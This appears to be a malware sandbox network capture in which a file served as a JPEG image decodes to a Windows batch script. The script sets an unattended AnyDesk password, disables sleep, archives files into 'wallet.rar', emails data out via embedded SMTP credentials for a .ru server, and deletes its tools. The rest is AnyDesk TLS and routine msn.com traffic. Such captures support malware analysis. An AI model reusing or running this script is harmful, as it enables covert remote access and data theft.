Jan 8, 2025 16:18:33.739209890 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:33 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 14:59:54 GMT ETag: "117d-62836af42ce80" Accept-Ranges: bytes Content-Length: 4477 Content-Type: image/jpeg Data Raw: 65 63 68 6f 20 51 57 45 52 54 59 31 32 33 34 35 36 36 20 7c 20 41 6e 79 44 65 73 6b 2e 65 78 65 20 2d 2d 73 65 74 2d 70 61 73 73 77 6f 72 64 20 5f 75 6e 61 74 74 65 6e 64 65 64 5f 61 63 63 65 73 73 0d 0a 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 64 63 2e 65 78 65 20 2f 44 0d 0a 70 6f 77 65 72 63 66 67 20 2d 73 65 74 61 63 76 61 6c 75 65 69 6e 64 65 78 20 53 43 48 45 4d 45 5f 43 55 52 52 45 4e 54 20 34 66 39 37 31 65 38 39 2d 65 65 62 64 2d 34 34 35 35 2d 61 38 64 65 2d 39 65 35 39 30 34 30 65 37 33 34 37 20 35 63 61 38 33 33 36 37 2d 36 65 34 35 2d 34 35 39 66 2d 61 32 37 62 2d 34 37 36 62 31 64 30 31 63 39 33 36 20 30 0d 0a 70 6f 77 65 72 63 66 67 20 2d 63 68 61 6e 67 65 20 2d 73 74 61 6e 64 62 79 2d 74 69 6d 65 6f 75 74 2d 61 63 20 30 0d 0a 70 6f 77 65 72 63 66 67 20 2d 63 68 61 6e 67 65 20 2d 68 69 62 65 72 6e 61 74 65 2d 74 69 6d 65 6f 75 74 2d 61 63 20 30 0d 0a 70 6f 77 65 72 63 66 67 20 2d 68 20 6f 66 66 0d 0a 70 6f 77 65 72 63 66 67 20 2f 53 45 54 44 43 56 41 4c 55 45 49 4e [TRUNCATED] Data Ascii: echo QWERTY1234566 \| AnyDesk.exe --set-password _unattended_access%SYSTEMDRIVE%\Intel\dc.exe /Dpowercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0powercfg -change -standby-timeout-ac 0powercfg -change -hibernate-timeout-ac 0powercfg -h offpowercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00Powershell.exe -executionpolicy remotesigned -File %SYSTEMDRIVE%\Intel\AnyDesk\wol.ps1del /q %SYSTEMDRIVE%\Intel\curl.exedel /q %SYSTEMDRIVE%\Intel\Trays.rardel /q %SYSTEMDRIVE%\Intel\svchost.exeset mail-out=out@dragonfires.ruset pass-out=TyU005d94yset smtp=mail.dragonfires.ruset mail-in=in@dragonfires.ru%SYSTEMDRIVE%\Intel\driver.exe a -r -hplimpid2903392 % [TRUNCATED]
Jan 8, 2025 16:18:33.739321947 CET	1289	IN	Data Raw: 6c 6c 65 74 2e 72 61 72 20 20 43 3a 5c 2a af a0 e0 ae ab 2a 2e 2a 20 2f 79 0d 0a 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 64 72 69 76 65 72 2e 65 78 65 20 61 20 2d 72 20 2d 68 70 6c 69 6d 70 69 64 32 39 30 33 33 39 32 20 25 53 Data Ascii: llet.rar C:\*. /y%SYSTEMDRIVE%\Intel\driver.exe a -r -hplimpid2903392 %SYSTEMDRIVE%\Intel\wallet.rar C:\*. /y%SYSTEMDRIVE%\Intel\driver.exe a -r -hplimpid2903392 %SYSTEMDRIVE%\Intel\wallet.rar C:\*. /y%SYSTEMDRIV
Jan 8, 2025 16:18:33.739423990 CET	1289	IN	Data Raw: 0d 0a 43 3a 5c 49 6e 74 65 6c 5c 62 6c 61 74 2e 65 78 65 20 2d 74 6f 20 25 6d 61 69 6c 2d 69 6e 25 20 2d 66 20 22 53 65 72 76 69 63 65 20 41 6e 69 64 65 73 6b 3c 25 6d 61 69 6c 2d 6f 75 74 25 3e 22 20 2d 73 65 72 76 65 72 20 25 73 6d 74 70 25 20 Data Ascii: C:\Intel\blat.exe -to %mail-in% -f "Service Anidesk<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "AnyDesk %COMPUTERNAME%/%USERNAME%" -body "AnyDesk %COMPUTERNAME%/%USERNAME%" -attach "%PROGRAMDATA%\AnyDesk\se
Jan 8, 2025 16:18:33.739504099 CET	866	IN	Data Raw: 45 25 5c 49 6e 74 65 6c 5c 2a 2e 70 64 66 0d 0a 64 65 6c 20 2f 71 20 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 2a 2e 64 6f 63 2a 0d 0a 64 65 6c 20 2f 71 20 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 64 63 2e 65 Data Ascii: E%\Intel\.pdfdel /q %SYSTEMDRIVE%\Intel\.docdel /q %SYSTEMDRIVE%\Intel\dc.exedel /q %SYSTEMDRIVE%\Intel\AnyDesk\.lnkdel /q %SYSTEMDRIVE%\Intel\AnyDesk\*.ps1del /q %SYSTEMDRIVE%\Intel\blat.exedel /q %SYSTEMDRIVE%\Intel\driver.ex

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49728	57.129.37.28	80	4776	C:\Intel\AnyDesk\AnyDesk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:33.586895943 CET	274	OUT	Data Raw: 16 03 01 01 0d 01 00 01 09 03 03 fe 7d cf 84 a1 55 d1 06 5c 4f 37 7b 70 66 9b be 89 da 3e c6 0c e8 b3 c3 0d c1 27 5c 2a be 61 1f 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: }U\O7{pf>'\an0,($kjih98762.&=5/+'#g@?>32101-)%</r#
Jan 8, 2025 16:18:33.814259052 CET	536	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 77 3c c8 4a b7 5e 0a 4c be 45 01 ce 95 4f 60 da 42 39 fd f1 c1 c8 2c d3 44 4f 57 4e 47 52 44 01 20 ab 6d 60 d7 24 1c ea a5 cb 0d 41 92 2a dd c0 1f 2e f8 2d 1b 6c 82 93 c0 af 94 4d 20 d9 cb 27 6d c0 2c 00 00 0b ff Data Ascii: WSw<J^LEO`B9,DOWNGRD m`$A.-lM 'm,OKHE0A0)yA0H0J10UAnyNet Root CA 21 0Uphilandro Software GmbH10UDE0190227210728Z2902242
Jan 8, 2025 16:18:33.814465046 CET	536	IN	Data Raw: a9 6d 85 e8 0b cc d8 b2 1c e2 f3 7a 23 29 07 f7 6b 05 dd 73 ad dd ec 74 a2 11 de fa fd c5 98 cb 98 cb 7e 1b 50 4e 3d 00 3c 89 26 14 86 06 19 5d 8f 63 3c dc be cc ad 1d 9f 54 c6 6f 8c 30 68 17 e3 c5 fb 4d 03 ec 5f 9f ce 1c 18 3a dd 43 e3 fe 3a d3 Data Ascii: mz#)kst~PN=<&]c<To0hM_:C:~)"Z0y)@gW/Dl(dI5k25b~bj!z1LFSjAZgYZqQ\|xu,9RusYP"XrWGvN4;5J#%US(ho-"
Jan 8, 2025 16:18:33.814515114 CET	162	IN	Data Raw: 98 eb 6c 04 91 7e bd 65 2f 0e 1b bd 4f f4 1e 8c 56 d5 c3 3b 5c 30 35 9f 16 03 03 00 7c 0d 00 00 78 03 40 01 02 00 22 02 02 02 01 02 03 03 01 03 03 04 01 04 03 05 01 05 03 06 01 06 03 08 04 08 05 08 06 08 09 08 0a 08 0b 00 4e 00 4c 30 4a 31 19 30 Data Ascii: l~e/OV;\05\|x@"NL0J10UAnyNet Root CA 31 0Uphilandro Software GmbH10UDE
Jan 8, 2025 16:18:33.820893049 CET	1094	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 35 30 31 30 38 31 35 31 38 Data Ascii: 000H010UAnyDesk Client0 250108151830Z20741227151830Z010UAnyDesk Client0"0H0Sg K!)83o#qT}n]M*~}t8~tKr`hgg0
Jan 8, 2025 16:18:34.047694921 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 c4 5a 48 d7 fe 35 4d 27 76 c0 d5 dc f5 0b cd 28 7a b5 70 e5 ea f6 29 02 67 1c ee 01 74 9d 33 1b ea 46 ea 50 7c 08 80 14 Data Ascii: (ZH5M'v(zp)gt3FP\|
Jan 8, 2025 16:18:34.047909021 CET	40	IN	Data Raw: 17 03 03 00 23 c4 5a 48 d7 fe 35 4d 28 57 05 ef 86 e3 82 e0 48 77 a5 fa c6 83 71 98 46 ff a0 9a f5 2a 5d d9 be 6a 30 7c Data Ascii: #ZH5M(WHwqF*]j0\|
Jan 8, 2025 16:18:34.063087940 CET	87	OUT	Data Raw: 17 03 03 00 52 62 8a 03 86 50 d8 1d ae 0c 09 11 fb ac 02 9c b5 c9 99 7a a8 c6 ec 30 80 fb 43 69 d5 0b 4f d7 bb ca ac 32 76 36 d8 f2 36 a7 89 41 f8 91 11 6d f6 b6 4a 6e 4e 9d 31 af 5d 11 6b 2e 20 30 05 c0 fa e0 4a 56 cd 65 07 a6 00 37 3f 43 b3 cd Data Ascii: RbPz0CiO2v66AmJnN1]k. 0JVe7?Cl
Jan 8, 2025 16:18:34.349987984 CET	197	IN	Data Raw: 17 03 03 00 c0 c4 5a 48 d7 fe 35 4d 29 e6 a3 77 f1 90 aa 66 63 81 c5 0a 94 5a b9 e8 b4 0e 61 4a b6 fa cc d5 07 ad 77 f1 52 f4 2f f5 0d b2 66 0b e7 a4 3c 28 54 0e 20 8f bd 52 0e 93 cc 86 14 da a0 1b f4 cb b3 b7 df a9 8a a5 82 8c dd 39 e7 05 78 5c Data Ascii: ZH5M)wfcZaJwR/f<(T R9x\:nr'-0/<o<:\|HR-he"9>"n))1>Hzj1JcqWa?:g3qK(%ikY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49730	186.233.187.24	80	4776	C:\Intel\AnyDesk\AnyDesk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:35.157066107 CET	274	OUT	Data Raw: 16 03 01 01 0d 01 00 01 09 03 03 65 21 8d d2 4b 31 fc 7d 76 68 e7 01 f7 54 78 fe 18 c8 be f5 2a a0 9b f1 33 84 1c 1f b9 90 10 88 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: e!K1}vhTx3n0,($kjih98762.&=5/+'#g@?>32101-)%</r#
Jan 8, 2025 16:18:35.278625965 CET	1236	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 ec b3 ee 59 46 29 d5 b8 18 fd c7 26 72 f3 29 34 8f 01 59 05 b3 7f 02 b5 44 4f 57 4e 47 52 44 01 20 d1 dc ec 0d a4 3d da 52 d1 eb e3 96 7a 7c a4 bd 94 2f c4 4d 99 52 78 9c c0 4c b7 4d 9d 11 84 c5 c0 2c 00 00 0b ff Data Ascii: WSYF)&r)4YDOWNGRD =Rz\|/MRxLM,OKHE0A0)yA0*H0J10UAnyNet Root CA 21 0Uphilandro Software GmbH10UDE0190227210728Z2902242
Jan 8, 2025 16:18:35.285330057 CET	1094	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 35 30 31 30 38 31 35 31 38 Data Ascii: 000H010UAnyDesk Client0 250108151830Z20741227151830Z010UAnyDesk Client0"0H0Sg K!)83o#qT}n]M*~}t8~tKr`hgg0
Jan 8, 2025 16:18:35.406527042 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 3e 35 a6 db 8b 73 0f a8 8f b8 ee fe af 3c 61 94 84 95 96 d8 5c 78 54 b9 aa 4c 50 e2 ad 42 82 21 0a 39 8b ed 4a 1b b9 2a Data Ascii: (>5s<a\xTLPB!9J*
Jan 8, 2025 16:18:35.406534910 CET	40	IN	Data Raw: 17 03 03 00 23 3e 35 a6 db 8b 73 0f a9 9a 0e 8e 5e b8 ff 92 e0 ac 8f 96 f8 61 df 7d 7a 2f 10 18 0f 5b 95 38 38 c9 7e 30 Data Ascii: #>5s^a}z/[88~0
Jan 8, 2025 16:18:35.423712015 CET	87	OUT	Data Raw: 17 03 03 00 52 7f 0c 95 17 ca 62 bc 6d 05 ec 61 83 a1 3f 98 f8 5c e1 f3 92 26 dc b6 48 d8 c2 7a 71 75 d7 bb 2e 1e 67 47 bf f9 f2 d6 1e 17 f2 ca c4 b3 9c 3c d9 66 a6 17 99 5a 5e 0e c7 63 69 ca 7d bb 14 98 77 39 53 e9 67 78 09 f7 32 c4 5d 25 0e b8 Data Ascii: Rbma?\&Hzqu.gG<fZ^ci}w9Sgx2]%]
Jan 8, 2025 16:18:35.687525988 CET	146	IN	Data Raw: 17 03 03 00 8d 3e 35 a6 db 8b 73 0f aa 4b 05 f7 1d b3 66 71 12 f0 b9 1f 4a 4b 71 84 24 2d 25 de 62 52 e4 0b 33 80 b6 31 ad 33 e9 d1 a1 ab 7a 43 64 62 00 02 7b 00 c2 07 65 31 61 ca d6 5a 2f 82 35 3e 97 21 cc 39 96 25 3f 62 6e 26 e4 86 24 d6 16 6a Data Ascii: >5sKfqJKq$-%bR313zCdb{e1aZ/5>!9%?bn&$j7F?M)",$3Qe\|VDq\WCg/s]os16
Jan 8, 2025 16:18:35.777836084 CET	681	OUT	Data Raw: 17 03 03 02 a4 7f 0c 95 17 ca 62 bc 6e b8 06 3d 33 12 c9 2c 45 8a 66 fd 59 c6 d7 2b 78 2d 21 ae 55 48 39 36 6d 7a e2 e7 07 01 c3 97 62 bf 2d 94 a8 53 d8 9e c5 c9 51 05 52 71 cb ee f1 d4 8f 48 50 08 a5 66 8e 1b f9 7d 49 5b e3 ac 48 c6 41 7f 5c a1 Data Ascii: bn=3,EfY+x-!UH96mzb-SQRqHPf}I[HA\k#6xY!\fv6(BZIS9w`owWwy.b[0l%,.Mk<49g5g.m-CGm\w4QIxQi
Jan 8, 2025 16:18:35.777836084 CET	61	OUT	Data Raw: 17 03 03 00 38 7f 0c 95 17 ca 62 bc 6f 6a 14 46 5b 50 6a 49 b6 2d 44 05 1d 04 39 36 74 a9 5d f8 f9 4e 3f 41 1f 7f 77 9a bd 98 6d 9e bb 62 9d 0d 75 ad 04 a0 75 b6 53 f1 cd 84 02 32 26 Data Ascii: 8bojF[PjI-D96t]N?AwmbuuS2&
Jan 8, 2025 16:18:35.785238028 CET	203	OUT	Data Raw: 17 03 03 00 c6 7f 0c 95 17 ca 62 bc 70 07 16 53 81 e5 8b f1 56 40 2f 88 f7 b7 4d 6d cf 93 4c 9f 81 06 75 ab d7 af b0 eb c6 ec a1 c2 42 fb 08 74 41 31 ab d8 dd d7 2d 88 ef bc c2 06 98 a2 e4 98 88 20 8e d7 9a 7a 19 c6 0d c9 e4 c0 bd 26 99 c6 d9 c8 Data Ascii: bpSV@/MmLuBtA1- z&lex3y%A1ab[GB1R][zEq@#*+~v9\|_3yuwnDj&5bh$SX0P;Gi;,

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.11.20	49746	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:47 UTC	763	OUT	GET /edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:47 UTC	8839	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 53353 Content-Type: text/html; charset=utf-8 Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; expires=Fri, 08 Jan 2027 15:18:47 GMT; path=/ Set-Cookie: USRLOC=; expires=Fri, 08 Jan 2027 15:18:47 GMT; domain=.msn.com; path=/; secure; samesite=none; httponly Set-Cookie: MUID=37FD034F4FC568D43F2E16214E436968; expires=Mon, 02 Feb 2026 15:18:47 GMT; domain=.msn.com; path=/; secure; samesite=none Set-Cookie: MUIDB=37FD034F4FC568D43F2E16214E436968; expires=Mon, 02 Feb 2026 15:18:47 GMT; path=/; httponly Set-Cookie: _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; domain=.msn.com; path=/; httponly Set-Cookie: _EDGE_V=1; expires=Mon, 02 Feb 2026 15:18:47 GMT; domain=.msn.com; path=/; httponly Access-Control-Allow-Methods: HEAD,GET,OPTIONS Content-Security-Policy: child-src 'self';connect-src 'self' .mavideo.microsoft.com arc.msn.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn browser.events.data.msn.com browser.events.data.msn.cn browser.events.data.microsoftstart.com browser.events.data.microsoftstart.cn business.bing.com/api/ usgov.business.bing.com/api/ cdn.hubblecontent.osi.office.net copilotexplore.azurewebsites.net events-sandbox.data.msn.com events-sandbox.data.msn.cn events-sandbox.data.microsoftstart.com events-sandbox.data.microsoftstart.cn finance-services.msn.com https://.sharepoint.com/_api/v2.0/ https://.sharepoint-df.com/_api/v2.0/ https://.sharepoint.com/_api/v2.1/ https://*.sharepoint-df.com/_api/v2.1/ https://bingretailmsndata.azureedge.net/msndata/ https://browser.pipe.aria.microsoft.com/Collector/ https://dev.virtualearth.net/REST/v1/Imagery/ https://dev.ditu.live.com/REST/v1/Imagery/ https://ecn.dev.virtualearth.net https://jsconfig.adsafeprotected.com https://g.bing.com https://msx.bing.com https://pet [TRUNCATED] X-Robots-Tag: noindex X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-UA-Compatible: IE=Edge;chrome=1 x-fabric-cluster: pmeprodeus report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]},{"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://deff.nelreports.net/api/report"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} Strict-Transport-Security: max-age=1209600; includeSubDomains; preload Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Prefers-Color-Scheme, Device-Memory, Downlink, ECT, RTT, Sec-CH-DPR X-Ceto-ref: 677e97577c93448381717e6f24226197\|AFD:B25D3F03CED44BF6925DC8DED78E8089\|2025-01-08T15:18:47.180Z X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B25D3F03CED44BF6925DC8DED78E8089 Ref B: CHI30EDGE0311 Ref C: 2025-01-08T15:18:47Z Date: Wed, 08 Jan 2025 15:18:46 GMT Connection: close
2025-01-08 15:18:47 UTC	698	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 20 3e 0d 0a 3c 68 65 61 64 20 64 61 74 61 2d 69 6e 66 6f 3d 22 66 3a 6d 73 6e 61 6c 6c 65 78 70 75 73 65 72 73 2c 70 72 67 2d 73 70 2d 6c 69 76 65 61 70 69 2c 70 72 67 2d 66 69 6e 2d 63 6f 6d 70 6f 66 2c 70 72 67 2d 66 69 6e 2d 68 70 6f 66 6c 69 6f 2c 70 72 67 2d 66 69 6e 2d 70 6f 66 6c 69 6f 2c 70 72 67 2d 31 73 77 2d 63 63 2d 63 61 6c 66 65 65 64 69 63 2c 70 6e 70 77 78 65 78 70 69 72 65 39 30 2c 62 69 6e 67 5f 76 32 5f 73 63 6f 70 65 2c 70 72 67 2d 31 73 77 2d 73 61 6e 74 66 2d 6c 6e 72 6d 63 2c 70 72 67 2d 31 73 77 2d 73 61 71 6f 6f 6d 61 6e 6e 34 74 32 2c 70 72 67 2d 31 73 77 2d 73 61 67 65 69 6d 63 6f 75 6e 74 63 2c Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr" ><head data-info="f:msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,prg-1sw-cc-calfeedic,pnpwxexpire90,bing_v2_scope,prg-1sw-santf-lnrmc,prg-1sw-saqoomann4t2,prg-1sw-sageimcountc,
2025-01-08 15:18:47 UTC	436	IN	Data Raw: 72 67 2d 31 73 77 2d 63 6d 65 76 6c 74 2c 70 72 67 2d 70 32 2d 74 66 2d 62 64 67 70 76 2d 61 69 2c 70 72 67 2d 70 72 32 2d 66 69 65 70 6c 63 2c 70 72 67 2d 70 72 32 2d 74 72 66 2d 72 68 69 67 68 69 6d 70 2c 70 72 67 2d 70 72 32 2d 77 78 65 76 6f 6c 6e 6f 74 69 2c 70 72 67 2d 75 70 73 61 69 70 2d 77 31 2d 74 2c 70 72 67 2d 31 73 77 2d 73 61 67 65 72 76 75 6e 69 32 61 2c 70 72 67 2d 72 65 76 69 2d 6e 6f 63 61 63 68 65 2c 31 73 2d 72 70 73 73 65 63 61 75 74 68 74 2c 6a 6a 5f 66 61 63 5f 63 2c 70 72 67 2d 70 72 32 2d 63 6d 75 69 64 73 79 6e 63 2c 63 68 61 74 6e 5f 76 32 5f 74 32 2c 70 72 67 2d 70 72 31 2d 75 63 2d 74 2c 31 73 2d 70 31 2d 70 72 6f 6d 6f 74 65 64 6f 6e 64 6d 64 2c 31 73 2d 70 31 2d 75 61 34 6f 73 76 68 77 2c 31 73 2d 77 70 6f 2d 70 72 31 2d 70 Data Ascii: rg-1sw-cmevlt,prg-p2-tf-bdgpv-ai,prg-pr2-fieplc,prg-pr2-trf-rhighimp,prg-pr2-wxevolnoti,prg-upsaip-w1-t,prg-1sw-sagervuni2a,prg-revi-nocache,1s-rpssecautht,jj_fac_c,prg-pr2-cmuidsync,chatn_v2_t2,prg-pr1-uc-t,1s-p1-promotedondmd,1s-p1-ua4osvhw,1s-wpo-pr1-p
2025-01-08 15:18:47 UTC	4096	IN	Data Raw: 68 70 2d 72 63 2d 74 74 2d 75 32 63 63 2c 70 72 67 2d 73 68 2d 66 72 6e 72 2c 70 72 67 2d 77 78 2d 64 68 67 72 64 2d 63 2c 70 72 67 2d 73 68 2d 64 65 61 6c 73 64 61 79 70 64 70 2c 70 72 67 2d 73 68 2d 72 6d 69 74 6d 6c 6e 6b 2d 63 2c 6e 6f 70 69 6e 67 6c 61 6e 63 65 63 61 72 64 69 74 2c 70 72 67 2d 63 67 2d 69 6e 67 61 6d 65 73 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 63 67 2d 69 6e 2d 67 6d 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 31 73 2d 77 6f 72 6b 69 64 2c 70 72 67 2d 31 73 77 2d 63 6c 61 72 69 2c 70 72 67 2d 31 73 77 2d 70 72 32 63 6c 61 72 69 74 79 2c 31 73 2d 74 65 6d 70 2d 77 69 64 2d 74 2c 70 72 67 2d 31 73 2d 74 77 69 64 2c 61 64 73 2d 6e 6f 70 6f 73 74 73 71 2d 74 2c 61 64 73 2d 6e 6f 70 6f 73 74 73 71 2c 31 73 2d 75 61 73 64 69 73 66 2d 74 2c 61 64 73 Data Ascii: hp-rc-tt-u2cc,prg-sh-frnr,prg-wx-dhgrd-c,prg-sh-dealsdaypdp,prg-sh-rmitmlnk-c,nopinglancecardit,prg-cg-ingames-xn-ads,prg-cg-in-gm-xn-ads,prg-1s-workid,prg-1sw-clari,prg-1sw-pr2clarity,1s-temp-wid-t,prg-1s-twid,ads-nopostsq-t,ads-nopostsq,1s-uasdisf-t,ads
2025-01-08 15:18:47 UTC	4096	IN	Data Raw: 75 6f 74 3b 3a 26 71 75 6f 74 3b 35 33 35 30 34 37 31 33 26 71 75 6f 74 3b 7d 2c 20 26 71 75 6f 74 3b 64 65 74 65 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 69 70 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 38 35 2e 32 34 36 2e 32 30 39 2e 30 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 74 69 65 72 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 26 71 75 6f 74 3b 7d 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 63 6f 75 6e 74 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 63 6f 75 6e 74 72 79 6e 61 6d 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 6e 69 74 65 64 20 53 74 61 74 65 73 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 73 75 62 64 69 76 69 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b Data Ascii: uot;:"53504713"}, "detection":{"ip":"185.246.209.0", "tier":"p"}, "geo_country":"US", "geo_countryname":"United States", "geo_subdivision":"
2025-01-08 15:18:47 UTC	4096	IN	Data Raw: 72 6e 20 65 3b 63 6f 6e 73 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 66 6f 22 29 3b 69 66 28 21 28 74 2e 69 6e 64 65 78 4f 66 28 22 6e 74 70 2d 61 66 64 68 33 74 22 29 3e 3d 30 7c 7c 74 2e 69 6e 64 65 78 4f 66 28 22 6e 74 70 2d 61 66 64 68 33 63 22 29 3e 3d 30 29 29 72 65 74 75 72 6e 20 65 3b 63 6f 6e 73 74 20 6e 3d 22 61 66 64 70 72 6f 74 6f 63 6f 6c 3d 22 3b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 20 22 29 2e 66 69 6e 64 28 28 65 3d 3e 30 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 6e 29 29 29 3b 69 66 28 6f 29 7b 63 6f 6e 73 74 20 74 3d 6f 2e 73 70 6c 69 74 28 22 3d 22 29 3b 69 66 28 74 5b 31 5d 29 72 65 74 75 72 6e 20 65 2b 28 65 2e Data Ascii: rn e;const t=document.head.getAttribute("data-info");if(!(t.indexOf("ntp-afdh3t")>=0\|\|t.indexOf("ntp-afdh3c")>=0))return e;const n="afdprotocol=";var o=document.cookie.split("; ").find((e=>0===e.indexOf(n)));if(o){const t=o.split("=");if(t[1])return e+(e.
2025-01-08 15:18:47 UTC	4096	IN	Data Raw: 6d 22 3a 22 65 76 65 6e 74 73 2d 73 61 6e 64 62 6f 78 2e 64 61 74 61 2e 6d 73 6e 2e 63 6f 6d 22 3b 72 65 74 75 72 6e 7b 63 6f 72 73 3a 22 74 72 75 65 22 2c 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 73 6f 6e 2d 73 74 72 65 61 6d 22 2c 22 63 6c 69 65 6e 74 2d 69 64 22 3a 22 4e 4f 5f 41 55 54 48 22 2c 22 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 32 2e 32 2e 32 22 2c 61 70 69 6b 65 79 3a 69 3f 22 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 2d 39 66 63 35 37 64 33 66 2d 66 64 61 63 2d 34 62 63 66 2d 62 39 32 